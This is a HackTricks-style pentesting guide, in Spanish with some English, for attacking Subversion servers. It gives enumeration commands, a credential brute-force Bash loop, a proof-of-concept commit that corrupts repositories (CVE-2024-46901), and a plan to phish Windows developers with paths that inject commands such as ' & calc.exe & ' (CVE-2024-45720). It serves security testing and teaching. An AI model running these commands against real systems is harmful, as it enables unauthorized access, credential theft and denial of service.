3690/tcp - Pentesting Subversion (SVN) Servidor
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Subversion (SVN) es un sistema de control de versiones centralizado (licencia Apache) usado para el versionado de software y el control de revisiones.
Puerto predeterminado: 3690/tcp (svnserve). También puede exponerse vía HTTP/HTTPS a través de mod_dav_svn y vía svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeración
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Autenticación y búsqueda de misconfiguraciones
svnserve.confmay allowanon-access = read(or even write). Si puedes listar, intentacheckoutpara volcar secretos, scripts, CI tokens.- Los repositorios frecuentemente almacenan pipelines de compilación, claves de despliegue y credenciales de base de datos en archivos de configuración versionados. Revisa la copia de trabajo tras el checkout:
grep -R "password\|secret\|token" -n .. - Si
svn+sshestá habilitado, los shells de usuario suelen permitir comandossvnserverestringidos; intentassh user@host svnserve -tcon subcomandos diseñados para bypass wrappers.
Fuerza bruta de credenciales (svnserve)
SASL authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Un bucle rápido en Bash puede probar credenciales:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Vulnerabilidades recientes (impacto práctico)
mod_dav_svn DoS mediante caracteres de control (CVE-2024-46901)
- Un usuario con permisos de commit puede escribir una ruta que contenga caracteres de control (p. ej.
\x01,\x7f) que corrompe el repositorio, haciendo que posteriores checkouts/logs fallen y potencialmente provoquen que los workers demod_dav_svnse bloqueen. - Afecta a Subversion ≤ 1.14.4 cuando se sirve a través de HTTP(S) (
mod_dav_svn). Corregido en 1.14.5. - PoC de commit con
svnmucc(requiere credenciales de commit válidas):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Después del commit, los clientes normales pueden bloquearse o rechazar actualizaciones hasta que los administradores eliminen manualmente la revisión con
svnadmin dump/filter/load.
Inyección de argumentos en cliente svn en Windows (CVE-2024-45720)
- En Windows, la codificación de caracteres “best-fit” en
svn.exepermite la inyección de argumentos de línea de comandos al procesar rutas/URLs no ASCII especialmente manipuladas, lo que puede llevar a la ejecución arbitraria de programas. - Afecta a Subversion ≤ 1.14.3 solo en Windows; corregido en 1.14.4. Superficie de ataque: phishing a un desarrollador para que ejecute
svnen una URL/ruta controlada por el atacante. - Pentest angle: si controlas un recurso compartido de red o un ZIP entregado a un dev de Windows, nombra una URL de repo o una ruta de working-copy que contenga bytes best-fit que decodifiquen en argumentos inyectados del estilo
" & calc.exe & ", y luego engaña a la víctima para que ejecutesvn statuso similar en esa ruta.
Notas para el flujo de trabajo de explotación
- Comprueba el método de acceso:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), osvn+ssh://. - Try anonymous read primero; luego spray common creds. Si se usa HTTP Basic, reutiliza creds encontradas en otros sitios.
- Enumerate hooks: los scripts
hooks/pre-commitypost-commita veces contienen credenciales en texto claro o nombres de host. - Leverage
svn:externalspara traer rutas adicionales desde otros hosts; listálas consvn propget svn:externals -R .después del checkout. - Version leaks: Los encabezados de respuesta HTTP de
mod_dav_svnnormalmente muestran la versión de Subversion y Apache; compáralas con 1.14.5 para detectar objetivos vulnerables. - Si obtienes acceso al sistema de ficheros del repo,
svnadmin dump/svnlook author/svnlook dirs-changedpermiten análisis offline sin necesidad de credenciales.
Referencias
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


